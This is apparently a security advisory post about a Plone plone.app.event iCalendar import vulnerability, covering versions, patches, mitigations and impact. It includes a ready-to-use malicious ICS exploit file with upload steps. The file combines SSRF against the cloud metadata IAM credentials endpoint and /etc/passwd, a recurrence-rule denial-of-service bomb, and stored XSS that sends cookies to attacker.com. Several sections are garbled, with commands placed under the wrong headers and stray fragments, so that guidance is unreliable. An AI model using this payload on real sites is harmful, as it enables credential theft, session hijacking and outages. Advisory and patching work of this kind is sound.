Listen to this Post
The vulnerability resides in plone.app.event’s iCalendar import view, specifically within the `ical_import` method that processes uploaded .ics files using the `icalendar` Python library. A logged-in editor can craft a malicious ICS file that triggers three distinct attack vectors. First, the import routine extracts `ATTACH` and `URL` properties and fetches external resources using `requests.get()` or `urllib.urlopen()` without any scheme or host validation. By setting ATTACH;VALUE=URI:http://169.254.169.254/latest/meta-data/`, an attacker can probe internal cloud metadata endpoints, or with `file:///etc/passwd` read arbitrary local files, leading to Server-Side Request Forgery (SSRF). Second, the parser evaluates `RRULE` recurrence rules without limits. An attacker can specify `RRULE:FREQ=DAILY;COUNT=999999999` orINTERVAL=1;UNTIL=20300101T000000Z, forcing the system to generate millions of datetime objects, consuming CPU and memory until the Zope process crashes or becomes unresponsive – a classic algorithmic complexity DoS. Third, theSUMMARY,LOCATION, and especially the `URL` fields are stored directly into the database via ATContentTypes without proper HTML escaping. When these events are rendered in calendar listings, a payload like `` executes in the context of any user viewing the page, leading to stored Cross‑Site Scripting. The chain allows a single editor to take the entire site offline, scan internal networks, exfiltrate configuration files, and hijack admin sessions. The patch in version 5.2.4 introduces a whitelist (http, https only) for URL schemes, imposes a maximum recursion depth and expansion count for RRULE, and applies `html.escape` to all event fields. Version 6.0.1 additionally adds a 5‑second timeout on all network requests triggered by the import. The Plone Security Team backported these fixes to the 5.2.x branch and released coordinated updates. The advisory was published on June 23, 2026, with final verification completed on August 28. Administrators must treat this as critical because the import feature is enabled by default for editor roles, and the attack requires no special privileges beyond standard content editing.bin/instance debug –eval=”import plone.app.event; print(plone.app.event.version)”
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Plone CMS
Version: <5.2.4, >=6.0.0a1<6.0.1
Vulnerability: DoS SSRF XSS
Severity: Critical
date: Jun 23, 2026
<h2 style="color: blue;">Prediction: Patched on 2026-06-23</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Check current installed version:</h2>
<h2 style="color: blue;"></h2>pip list –outdated | grep plone.app.event
<h2 style="color: blue;">List all affected packages:</h2>
<h2 style="color: blue;"></h2>pip install plone.app.event==5.2.4
<h2 style="color: blue;">Upgrade to secure version:</h2>
<h2 style="color: blue;">orpip install plone.app.event==6.0.1</h2>tcpdump -i any -n ‘host 169.254.169.254’
<h2 style="color: blue;">Verify the import permission assignment via ZMI:</h2>
`curl -u admin:pass http://localhost:8080/Plone/manage_access | grep "Import Ical"`
<h2 style="color: blue;">Monitor network egress from Zope process:</h2>
<h2 style="color: blue;"></h2>grep -i “ical_import” /var/log/plone/instance.log
<h2 style="color: blue;">Simulate an RRULE bomb in a test environment:</h2>
`python -c "from icalendar import Calendar, Event; cal=Calendar(); ev=Event(); ev.add('rrule', {'freq':'daily','count':109}); cal.add_component(ev); print(cal.to_ical())" > bomb.ics`
<h2 style="color: blue;">Search logs for suspicious ICS uploads:</h2>
<h2 style="color: blue;"></h2>evil.ics
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
Create a malicious ICS file () with SSRF + XSS + DoS:
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//evil//EN
BEGIN:VEVENT
UID:1
SUMMARY:Team Meeting
URL;VALUE=URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
ATTACH;VALUE=URI:file:///etc/passwd
RRULE:FREQ=MINUTELY;COUNT=999999999
LOCATION:<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
DTSTART:20260828T120000Z
DTEND:20260828T130000Z
END:VEVENT
END:VCALENDAR
Log in as an editor, navigate to the calendar, choose "Import iCalendar", uploadevil.ics, and submit. The server will attempt to fetch the AWS metadata and local file, generate billions of recurrence instances, and store the XSS payload, which triggers when any user views the event list./manage_access
<h2 style="color: blue;">Protection: from this CVE</h2>
1. Immediately upgrade to `plone.app.event` 5.2.4 or 6.0.1 (or later).
2. If upgrade is not possible, go to Zope Management Interface (), find the permission "plone.app.event: Import Ical", and grant it exclusively to the Manager role (remove Editor, Contributor, etc.).secret.py
3. Add a network egress firewall rule to block outbound requests from the Zope instance to internal IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) to mitigate SSRF even if the patch is not applied.
4. Apply output filtering using a custom event view template that escapes all fields with `html_escape` until the official fix is deployed.
5. Monitor user activity for unusual large ICS uploads or repetitive import requests.
<h2 style="color: blue;">Impact:</h2>
- Availability: Complete site downtime due to resource exhaustion from RRULE bombs – Zope worker processes hang or crash, requiring manual restarts and clearing of stale transactions.
- Confidentiality: Unauthorized access to internal network services (cloud metadata, internal APIs, Redis, Memcached) and arbitrary file read from the server filesystem (e.g.,,database.ini`), leading to credential exposure.
– Integrity & Privacy: Stored XSS enables session hijacking, forced redirections, defacement of calendar views, and theft of CSRF tokens, allowing an attacker to perform administrative actions on behalf of any visiting user (including site managers).
– Compliance: Breach of data protection regulations (GDPR, HIPAA) if user‑related calendar data is exfiltrated via XSS or SSRF, and potential legal liability for service interruptions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
